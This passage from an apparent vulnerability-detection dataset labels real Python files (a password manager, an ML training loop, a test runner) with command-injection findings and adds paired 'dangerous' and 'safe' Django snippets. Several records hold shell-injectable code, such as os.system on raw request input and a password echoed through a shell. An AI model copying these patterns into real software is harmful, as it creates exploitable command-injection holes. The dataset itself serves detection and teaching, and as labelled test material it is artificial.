SCREENSHOT[\"upload_to_ptpimg\"]:\n                self.upload_to_ptpimg(screenshot_paths)\n        if self.pipeline[\"mediainfo\"]:\n            logging.info(\"generating mediainfo\")\n            self.gen_mediainfo()\n        if self.pipeline[\"mktorrent\"]:\n            logging.info(\"generating torrent\")\n            self.gen_torrent()\n        if self.pipeline[\"mkv_softlink\"]:\n            logging.info(\"generating mkv softlink\")\n            self.gen_mkv_softlink()\n\n    def gen_screenshot(self, quantiles):\n        length_cmd = [\"ffprobe\", \"-v\", \"error\", \"-show_entries\", \"format=duration\", \"-of\", \"default=noprint_wrappers=1:nokey=1\", self.mkvpath]\n        length = float(subprocess.run(length_cmd, check=True, capture_output=True).stdout)    \n        timestamps = [int(length * quantile) for quantile in quantiles]\n        logging.info(\"video length: {}\".format(time.strftime('%H:%M:%S', time.gmtime(length))))\n        screenshot_paths = []\n        for t in timestamps:\n            target = os.path.join(self.resultdir, \"{}.png\".format(time.strftime('%H_%M_%S', time.gmtime(t))))\n            screenshot_paths.append(target)\n            if not os.path.exists(target):\n                screenshot_cmd = [\"ffmpeg\", \"-ss\", str(t), \"-y\", \"-i\", self.mkvpath, \"-vframes\", \"1\", \"-vcodec\", \"png\", target]\n                subprocess.run(screenshot_cmd, check=True, capture_output=True)\n        return screenshot_paths\n\n    def upload_to_image_host(self, screenshot_paths):\n        \"\"\"\n        上传至gpw官方图床\n        \"\"\"\n        uploaded_result = os.path.join(self.resultdir, \"screenshot_bbcode.txt\")\n        if not os.path.exists(uploaded_result):\n            uploaded_urls = []\n            for img_path in screenshot_paths:\n                logging.info(\"uploading {}\".format(img_path))\n                uploaded_urls.append(self.imguploader.upload(img_path))\n            with open(uploaded_result, \"w\") as f:\n                for url in uploaded_urls:\n                    f.write(\"[img]{}[/img]\\n\".format(url))\n\n    def upload_to_ptpimg(self, screenshot_paths):\n        uploaded_result = os.path.join(self.resultdir, \"screenshot_bbcode_ptpimg.txt\")\n        if not os.path.exists(uploaded_result):\n            uploaded_urls = []\n            for img_path in screenshot_paths:\n                logging.info(\"uploading {} to ptpimg\".format(img_path))\n                uploaded_urls.append(self.ptpimguploader.upload_file(img_path)[0])\n            with open(uploaded_result, \"w\") as f:\n                for url in uploaded_urls:\n                    f.write(\"[img]{}[/img]\\n\".format(url))\n\n    def gen_mediainfo(self):\n        with open(os.path.join(self.resultdir, \"mediainfo.txt\"), \"w\") as f:\n            subprocess.run([\"mediainfo\", self.mkvpath], check=True, stdout=f)\n\n    def gen_mkv_softlink(self):\n        filename = os.path.split(self.mkvpath)[1]\n        if not os.path.exists(os.path.join(self.resultdir, filename)):\n            symlink_cmd = [\"ln\", \"-s\", self.mkvpath, self.resultdir]\n            subprocess.run(symlink_cmd, check=True)\n\n    def gen_torrent(self):\n        if self.is_single_file:\n            torrent_content = self.mkvpath\n        else:\n            filename = os.path.split(self.mkvpath)[1]\n            pathname = os.path.split(os.path.split(self.mkvpath)[0])[1]\n            tmpdir = os.path.join(self.resultdir, pathname)\n            if not os.path.exists(tmpdir):\n                os.makedirs(tmpdir)\n            if not os.path.exists(os.path.join(tmpdir, filename)):\n                hardlink_cmd = [\"ln\", \"-s\", self.mkvpath, tmpdir]\n                subprocess.run(hardlink_cmd, check=True)\n            torrent_content = tmpdir\n        torrentname = \"{}.torrent\".format(os.path.splitext(os.path.split(self.mkvpath)[1])[0])\n        torrentpath = os.path.join(self.resultdir, torrentname)\n        if os.path.exists(torrentpath) and os.path.getsize(torrentpath) == 0:\n            os.remove(torrentpath)\n        if not os.path.exists(torrentpath):\n            mktorrent_cmd = [\"mktorrent\", \"-o\", torrentpath, torrent_content]\n            subprocess.run(mktorrent_cmd, check=True)\n        if not self.is_single_file:\n            shutil.rmtree(torrent_content)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 100, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "4bf2343ad3af27ce935bd22fa433b56359de014872244e3ad9adb60212fae04a", "license": {"spdx": ["MIT"], "repo": "organic-chemistry/RepNano", "path": "src/repnano/models/training_loop.py", "repo_head_hexsha": "3f2e21f2006217f6438b16e6800b7f4f327c9210", "stack_hexsha": "6fbb4fa8f67b209eb08af8790898a6978372f7c8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 81, "entireCode": "import subprocess\n\nimport argparse\nimport os\nimport json\nimport pandas as pd\nimport ast\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset', type=str)\nparser.add_argument('--training_info', type=str)\nparser.add_argument('--not_do', dest=\"do\",action=\"store_false\")\nparser.add_argument('--noerror', dest=\"error\",action=\"store_false\")\nparser.add_argument('--restart', dest=\"restart\",action=\"store_true\")\nparser.add_argument('--training_repertory',default=None)\nparser.add_argument('--root_training_dataset',default=None)\n\n\nargs = parser.parse_args()\n\n\nwith open(args.training_info,\"r\") as f:\n    training = json.loads(\"\".join(f.readlines()))\n\ntraining_repertory = training.get(\"training_repertory\",args.training_repertory)\nif training_repertory == None:\n    print(\"training repertory must be defined\")\n    raise\nif args.training_repertory != None and training_repertory != args.training_repertory:\n    print(\"Two different rep defined (one in json, one in command line)\")\n    raise\n\nos.makedirs(training_repertory,exist_ok=True)\n\ndataset = pd.read_csv(args.dataset,sep=\";\")\n\nfor i in range(training[\"nloop\"]):\n    if i == 0:\n        input_folder = args.root_training_dataset\n    else:\n        input_folder = output_folder\n\n    model_folder = f\"{training_repertory}/model_from_initial_loop{i}/\"\n    output_folder = f\"{training_repertory}/training_from_initial_network_{i}/\"\n    add=\"\"\n    if i == training[\"nloop\"]-1:\n        add = \" --lstm\"\n    elif i == training[\"nloop\"]-2:\n        add = \" --lstm \"\n\n\n    percent_training = \" \".join(training[\"training_key\"])\n    if type(training[\"validation_key\"]) == float:\n        percent_val = True\n        percent_validation = training[\"validation_key\"]\n    else:\n        percent_val = False\n        percent_validation= \" \".join(training[\"validation_key\"])\n    mods = ast.literal_eval(dataset[\"mods\"][0])\n    mods = ' '.join(mods)\n\n    if training.get(\"transition_matrix\",\"\") != \"\":\n        add += f\" --transition_matrix {training['transition_matrix']}\"\n\n    if not os.path.exists(model_folder) or (args.restart and i==training[\"nloop\"]-1):\n        if \"max_len\" in training:\n            m = training[\"max_len\"]\n            add += f\" --max_len {m} \"\n        if i >= training[\"nloop\"]-1 and args.error:\n            add += \" --error\"\n        if args.restart:\n            add += f\"--weights {model_folder}/weights.hdf5\"\n        if not percent_val:\n            add += f\" --percents_validation {percent_validation} \"\n        else:\n            add += f\" --validation {percent_validation} \"\n        cmd = f\"python src/repnano/models/train_simple.py --root_data  {input_folder} --root_save {model_folder} --percents_training {percent_training}  --mods {mods}\" + add\n        #cmd = f\"python src/repnano/models/train_simple.py --root_data  {input_folder} --root_save {model_folder} --percents_training 0  --percents_validation 0 --error\"\n        print(cmd)\n        if args.do:\n            subprocess.run(cmd, shell=True, check=True)\n    \"\"\"\n    try:\n        cmd = f\"python3 preprocess_dataset.py  --type dv --model {model_folder}/weights.hdf5 --output_dv {output_folder} --root_d /scratch/jarbona/data_Repnano/ --root_p data/preprocessed/ --ref /scratch/jarbona/repnanoV10/data/S288C_reference_sequence_R64-2-1_20150113.fa\"\n        print(cmd)\n        subprocess.run(cmd, shell=True, check=True)\n    except:\n    \"\"\"\n    if not os.path.exists(output_folder):\n        add=\"\"\n        if \"max_len\" in training:\n            m = training[\"max_len\"]\n            add += f\" --max_len {m}\"\n        if training.get(\"transition_matrix\", \"\") != \"\":\n            add += f\" --transition_matrix {training['transition_matrix']}\"\n        cmd = f\"python3 misc/preprocess_dataset.py --minimum_percent_highsample {training.get('minimum_percent_highsample',0.5)} --type dv --model {model_folder}/weights.hdf5 --out {output_folder} --dataset {args.dataset} \" + add\n        print(cmd)\n        if args.do:\n            subprocess.run(cmd, shell=True, check=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 80, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "80"}}, {"lineNo": 81, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "2574f25e6242293d7c6f508c77f50f5b85651efb8567faf01eb8d7e06b378a3a", "license": {"spdx": ["WTFPL"], "repo": "No-SF-Work/ayame", "path": "scripts/pi_scripts/runner.py", "repo_head_hexsha": "6fb79b9897e75fdcf2a81083d462224226a0e4fa", "stack_hexsha": "643efcc62ffee5b784b925d11c6e4e3f66d82564", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 46, "entireCode": "import os\nimport subprocess\nfrom pretty_print import Print_C\n\nclass Runner:\n    run_kases = 3\n\n    def __init__(self, scheme, testcases):\n        self.scheme = scheme\n        self.testcases = testcases\n\n        self.bin_file_template = f\"build/test_results/{{testcase}}/bin/{scheme}\"\n        self.myout_template = f\"build/output/{{testcase}}/{scheme}.out\"\n        self.runner_log = f\"build/log/run_log/{{testcase}}/{scheme}_{{kase}}.out\"\n\n        for testcase in testcases:\n            self.__generate_path(testcase)\n\n\n    def __generate_path(self, testcase):\n        myout_path = f\"build/output/{testcase}/\"\n        runner_log_path = f\"build/log/run_log/{testcase}/\"\n\n        if not os.path.exists(myout_path):\n            os.makedirs(myout_path)\n\n        if not os.path.exists(runner_log_path):\n            os.makedirs(runner_log_path)\n\n\n    def run_single_test(self, testcase, kase):\n        bin = self.bin_file_template.format(testcase=testcase)\n        stdin = f\"testcases/{testcase}.in\"\n        myout = self.myout_template.format(testcase=testcase)\n        log = self.runner_log.format(testcase=testcase, kase=kase)\n\n        myout_file = open(myout, \"a+\")\n        log_file = open(log, \"a+\")\n        null_file = open(os.devnull, \"w\")\n\n        Print_C.print_procedure(f\"Running {self.scheme}_{testcase} [kase: {kase}]\")\n\n        if os.path.exists(stdin):\n            stdin_file = open(stdin, \"r\")\n            if kase == 0:\n                p = subprocess.run(f\"{bin}\".split(), stdin=stdin_file, stdout=myout_file, stderr=log_file, bufsize=1)\n                subprocess.run(f\"echo\".split(), stdout=myout_file, bufsize=1)\n                subprocess.run(f\"echo {p.returncode}\".split(), stdout=myout_file, bufsize=1)\n            else:\n                p = subprocess.run(f\"{bin}\".split(), stdin=stdin_file, stdout=null_file, stderr=log_file, bufsize=1)\n            stdin_file.close()\n        else:\n            if kase == 0:\n                p = subprocess.run(f\"{bin}\".split(), stdout=myout_file, stderr=log_file, bufsize=1)\n                subprocess.run(f\"echo\".split(), stdout=myout_file, bufsize=1)\n                subprocess.run(f\"echo {p.returncode}\".split(), stdout=myout_file, bufsize=1)\n            else:\n                p = subprocess.run(f\"{bin}\".split(), stdout=null_file, stderr=log_file, bufsize=1)\n\n        myout_file.close()\n        log_file.close()\n\n\n    def run_all_tests(self):\n        for kase in range(Runner.run_kases):\n            Print_C.print_subheader(f\"[Running KASE {kase}]\")\n            for testcase in self.testcases:\n                self.run_single_test(testcase=testcase, kase=kase)\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "45"}}, {"lineNo": 46, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "604c6786b2c271ef1aa22d7a7cb67fa76d377cdccc7467694bfbe596acb0a648", "license": {"spdx": ["MIT"], "repo": "IvaldiS6/PassPYWin", "path": "PassPY0.2Win.py", "repo_head_hexsha": "25ffc73392166fd85a8590866c5b65fd0aece72c", "stack_hexsha": "1b850dbfb0c60c1aeafce298fa429a15013488c3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 245, "entireCode": "import codecs\nimport os\nimport os.path\nimport string\nimport random\nfrom random import shuffle\nimport csv\nimport time\nimport hashlib\nimport struct\nimport binascii\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n\nDefaultSize = \"mode con: cols=100 lines=20\"\nos.system(DefaultSize)\n\npre = \"C:\\ProgramData\\PassPY\"\nif not os.path.exists(pre):\n    os.makedirs(pre)\n\naccount = \"\"\ncypher = \"\"\nusername = \"\"\nuser_name = \"\"\nm = \"\"\n\ndef clrscr():\n    # Check if Operating System is Mac and Linux or Windows\n   if os.name == 'posix':\n      _ = os.system('clear')\n   else:\n      # Else Operating System is Windows (os.name = nt)\n      _ = os.system('cls')\n\ndef logo():\n    print(\"________                     __________  __\\n___  __ \\_____ _________________  __ \\ \\/ /\\n__  /_/ /  __ `/_  ___/_  ___/_  /_/ /_  / \\n_  ____// /_/ /_(__  )_(__  )_  ____/_  /  \\n/_/     \\__,_/ /____/ /____/ /_/     /_/   \\n\\n\\n\\n\\n\")\n\ndef header():\n    clrscr()\n    os.system(DefaultSize)\n    logo()\n\ndef PassGen(user_name,acc,uN,pre):\n    header()\n    x = ''\n    x = input(\"1:  Have PassPY generate a password with a length you choose for \" + acc + \"\\n2:  Type your own password for \" + acc + \"\\n\")\n    if x == '1':\n        header()\n        length = float(input(\"How many characters would you like the password to be for \" + acc + \"?  \\n\"))\n        div = int(length/3)\n        r = int(length%3)\n        seed = string.ascii_letters    # Generating letters\n        letters = ( ''.  join(random.choice(seed) for i in range(div)) )\n\n        seed = string.digits    # generating digits\n        numbers = ( ''.join(random.choice(seed) for i in range(div)) )\n\n        seed = string.punctuation    # generating punctuation\n        punctuation = ( ''.join(random.choice(seed) for i in range(div + r)) )\n\n        hold = letters + numbers + punctuation\n        pW = ( ''.join(random.sample(hold, len(hold))))\n        print(\"here is the generated password:  \" + pW)\n        preKey = acc + uN + pW\n        lineHash = hashlib.sha256(preKey.encode('utf-8'))\n        \n        half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n\n        lineHashHexidecimal = lineHash.hexdigest()            \n\n        smosh = hashlib.sha256(bytes(half + lineHashHexidecimal, 'utf8'))\n        \n        key = smosh.digest()\n\n        iv = bytes(int(len(key)/2))\n\n        acc = bytes(acc, 'utf8')\n        uN = bytes(uN, 'utf8')\n        pW = bytes(pW, 'utf8')\n\n        cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n\n        encryptor = cipher.encryptor()\n        uN = encryptor.update(uN) + encryptor.finalize()\n        uN = bytes.hex(uN)\n\n        encryptor = cipher.encryptor()\n        acc = encryptor.update(acc) + encryptor.finalize()\n        acc = bytes.hex(acc)\n\n        encryptor = cipher.encryptor()\n        pW = encryptor.update(pW) + encryptor.finalize()\n        pW = bytes.hex(pW)\n\n        lineEncrypted = bytes(acc + uN + pW, 'utf8')\n\n        lineChecksum = hashlib.sha256(lineEncrypted).hexdigest()\n        newline = acc + \"\\t\" + uN + \"\\t\" + pW + \"\\t\" + str(lineHashHexidecimal) + \"\\t\" + str(lineChecksum) + \"\\n\"\n        post = user_name + \"50\" + \".passpy\"\n        location = os.path.join(pre, post)\n        with open(location, \"a\", newline=\"\\n\") as filea:\n            filea.write(newline + \"\\n\")\n\n        input(\"press Enter once the password is memorized (dont worry if you forget, it was saved in your password directory.)\\n\")\n        MainMenu(user_name)\n    elif x == '2':\n        header()\n        pW = input(\"Type the password for \" + acc + \", then press Enter: \\n\")\n        preKey = acc + uN + pW\n        lineHash = hashlib.sha256(preKey.encode('utf-8'))\n        half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n\n        lineHashHexidecimal = lineHash.hexdigest()            \n\n        smosh = hashlib.sha256(bytes(half + lineHashHexidecimal, 'utf8'))\n        \n        key = smosh.digest()\n\n        iv = bytes(int(len(key)/2))\n\n        acc = bytes(acc, 'utf8')\n        uN = bytes(uN, 'utf8')\n        pW = bytes(pW, 'utf8')\n\n        cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n        \n        smosh = ''\n        key = ''\n        iv = ''\n        \n        encryptor = cipher.encryptor()\n        uN = encryptor.update(uN) + encryptor.finalize()\n        uN = bytes.hex(uN)\n\n        encryptor = cipher.encryptor()\n        acc = encryptor.update(acc) + encryptor.finalize()\n        acc = bytes.hex(acc)\n\n        encryptor = cipher.encryptor()\n        pW = encryptor.update(pW) + encryptor.finalize()\n        pW = bytes.hex(pW)\n\n        lineEncrypted = bytes(acc + uN + pW, 'utf8')\n\n        lineChecksum = hashlib.sha256(lineEncrypted).hexdigest()\n        newline = acc + \"\\t\" + uN + \"\\t\" + pW + \"\\t\" + str(lineHashHexidecimal) + \"\\t\" + str(lineChecksum) + \"\\n\"\n        post = user_name + \"50\" + \".passpy\"\n        location = os.path.join(pre, post)\n        with open(location, \"a\", newline=\"\\n\") as filea:\n            filea.write(newline)\n        MainMenu(user_name)\n    else:\n        PassGen(user_name,acc,uN,pre)\n\ndef Signin(pre):\n    header()\n    user_name = input(\"Enter Username: \").encode(\"utf-8\").hex()\n    if user_name == \"\":\n        input(\"Press enter to returnt to the Sign In screen and enter a user name\\n\")\n        Signin(pre)\n    nametest2 = user_name + \"4c\" + \".passpy\"\n    location = os.path.join(pre, nametest2)\n    try:     #check to see if the account exists\n        usersearch = open(location,\"r\")  #search for user's password file\n        lst = list(usersearch.readlines())\n        confirm = lst[-1]\n        print(\"Hello \" + str(codecs.decode(user_name, \"hex\"), \"utf-8\"))\n        password = input(\"Enter Password: \").encode(\"utf-8\").hex()\n        s(user_name,password)\n        compare = line\n        if compare == confirm:\n            print(\"Access Granted\")\n            MainMenu(user_name)\n        else:\n            print(\"Access Denied\")\n            Signin(pre)\n    except FileNotFoundError:\n        header()\n        print(\"Username not found!\")\n        input(\"please press enter to continue\")\n        Login(pre)\n\ndef AddEntry(user_name,pre):\n    header()\n    acc = input(\"what account is this password for? (e.g. GitHub)\\n\")\n    uN = input(\"What is the username for \" + acc + \"?\\n\")\n    PassGen(user_name,acc,uN,pre)\n\n    print(\"Done!\")\n\ndef PasswordSearch(user_name,pre):\n    c = \"\"\n    header()\n    post = user_name + \"50\" + \".passpy\"\n    location = os.path.join(pre, post)\n    half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n    SearchColumn = input(\"Password Search Menu:\\nPress 1 to show all passwords\\nPress 2 to search by account\\nAll of the following options will NOT work!\\nPress 3 to search by username\\nPress 4 to search by password\\nPress 5 to return to the Main Menu\\n   \")\n    try:     #make sure there is a password file to search through\n        with open(location) as csv_file:\n            csv_reader = csv.reader(csv_file, delimiter=\"\\t\")\n            next(csv_reader)\n            if SearchColumn == '1':  \n                header()\n                print(\"Here are all of the stored passwords:  \")\n                for row in csv_reader: # !!!START HERE!!! Decrypt single item line by line\n                    smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n                    key = smosh.digest()\n                    iv = bytes(int(len(key)/2))\n                    cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n                    decryptor = cipher.decryptor()\n                    bEntry = bytes.fromhex(str(row[2]).lower())\n                    bct = str(decryptor.update(bEntry), \"utf8\")\n                    print(bct)\n                input(\"Press Enter to continue to the Main Menu\")\n                MainMenu(user_name)\n            elif SearchColumn == '2':\n                header()\n                search = bytes(input(\"What Account are you looking for?  \\n\"), 'utf8')\n                for row in csv_reader:\n                    half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n                    smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n                    key = smosh.digest()\n                    iv = bytes(int(len(key)/2))\n                    cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n                    decryptor = cipher.decryptor()\n                    encryptor = cipher.encryptor()\n                    sup = encryptor.update(search) + encryptor.finalize()\n                    sable = bytes.hex(sup)\n                    if sable == row[0]:\n                        decryptor = cipher.decryptor()\n                        a = bytes.fromhex(str(row[0]).lower())\n                        a = str(decryptor.update(a), \"utf8\")\n                        decryptor = cipher.decryptor()\n                        u = bytes.fromhex(str(row[1]).lower())\n                        u = str(decryptor.update(u), \"utf8\")\n                        decryptor = cipher.decryptor()\n                        p = bytes.fromhex(str(row[2]).lower())\n                        p = str(decryptor.update(p), \"utf8\")\n                        header()\n                        c = input(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\\nEnter 1 if you want to copy the password to the clipboard\\nEnter 2 if you want to continue searching\\n\")\n                        if c == '1':\n                            target = p\n                            header()\n                            print(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\")\n                            Clipboard(target)\n                            MainMenu(user_name)\n                        elif c == '2':\n                            print(\"Password NOT copied, continuing to search\")\n                            time.sleep(2)\n                            continue\n                        else:\n                            print(\"Returning to the Main Menu\")\n                            time.sleep(1)\n                            MainMenu(user_name)\n                MainMenu(user_name)\n            elif SearchColumn == '3':\n                header()\n                search = bytes(input(\"What Username are you looking for?  \\n\"), 'utf8')\n                for row in csv_reader:\n                    half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n                    smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n                    key = smosh.digest()\n                    iv = bytes(int(len(key)/2))\n                    cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n                    decryptor = cipher.decryptor()\n                    encryptor = cipher.encryptor()\n                    sup = encryptor.update(search) + encryptor.finalize()\n                    sable = bytes.hex(sup)\n                    if sable == row[1]:\n                        decryptor = cipher.decryptor()\n                        a = bytes.fromhex(str(row[0]).lower())\n                        a = str(decryptor.update(a), \"utf8\")\n                        decryptor = cipher.decryptor()\n                        u = bytes.fromhex(str(row[1]).lower())\n                        u = str(decryptor.update(u), \"utf8\")\n                        decryptor = cipher.decryptor()\n                        p = bytes.fromhex(str(row[2]).lower())\n                        p = str(decryptor.update(p), \"utf8\")\n                        header()\n                        c = input(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\\nEnter 1 if you want to copy the password to the clipboard\\nEnter 2 if you do not\\n\")\n                        if c == '1':\n                            target = p\n                            header()\n                            print(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\")\n                            Clipboard(target)\n                            MainMenu(user_name)\n                        elif c == '2':\n                            input(\"Password NOT copied, Press enter to return to continue searching\")\n                            continue\n                        else:\n                            input(\"Password NOT copied, Press enter to return to the Main Menu\")\n                            MainMenu(user_name)\n                    continue\n                    MainMenu(user_name)\n            elif SearchColumn == '4':\n                header()\n                search = bytes(input(\"What password are you looking for?  \\n\"), 'utf8')\n                for row in csv_reader:\n                    half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n                    smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n                    key = smosh.digest()\n                    iv = bytes(int(len(key)/2))\n                    cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n                    decryptor = cipher.decryptor()\n                    encryptor = cipher.encryptor()\n                    sup = encryptor.update(search) + encryptor.finalize()\n                    sable = bytes.hex(sup)\n                    if sable == row[2]:\n                        decryptor = cipher.decryptor()\n                        a = bytes.fromhex(str(row[0]).lower())\n                        a = str(decryptor.update(a), \"utf8\")\n                        decryptor = cipher.decryptor()\n                        u = bytes.fromhex(str(row[1]).lower())\n                        u = str(decryptor.update(u), \"utf8\")\n                        decryptor = cipher.decryptor()\n                        p = bytes.fromhex(str(row[2]).lower())\n                        p = str(decryptor.update(p), \"utf8\")\n                        header()\n                        c = input(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\\nEnter 1 if you want to copy the password to the clipboard\\nEnter 2 if you do not\\n\")\n                        if c == '1':\n                            target = p\n                            header()\n                            print(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\")\n                            Clipboard(target)\n                            MainMenu(user_name)\n                        elif c == '2':\n                            input(\"Password NOT copied, Press enter to return to continue\")\n                            continue\n                        else:\n                            input(\"Password NOT copied, Press enter to return to the Main Menu\")\n                            MainMenu(user_name)\n                    continue\n                    MainMenu(user_name)\n            elif SearchColumn == '5':\n                MainMenu(user_name)\n            else:\n                m = input(\"enter 1, 2, 3 or 4:\\n\")\n                PasswordSearch(user_name,pre)\n        MainMenu(user_name)\n    except FileNotFoundError:\n        header()\n        print(\"Please register some passwords for me to search through.\")\n        input(\"please press enter to continue\")\n        MainMenu(user_name)\n\ndef Clipboard(target):\n    command = 'echo ' + target.strip() + '| clip'\n    os.system(command)\n    time.sleep(1)\n    print(\"The clipboard will be cleared in 5 seconds\")\n    time.sleep(1)\n    print(\"The clipboard will be cleared in 4 seconds\")\n    time.sleep(1)\n    print(\"The clipboard will be cleared in 3 seconds\")\n    time.sleep(1)\n    print(\"The clipboard will be cleared in 2 seconds\")\n    time.sleep(1)\n    print(\"The clipboard will be cleared in 1 seconds\")\n    time.sleep(1)\n    print(\"The clipboard will be cleared now\")\n    os.system(\"echo.| clip\")\n\ndef MainMenu(user_name):\n    header()\n    print(\"Menu:\\n  1:  New password - register new password\\n  2:  List - show passwords\\n  3:  Exit\")\n    menu = input(\"Enter a number:\\n\")\n    if menu == '1':\n        AddEntry(user_name,pre)\n    elif menu 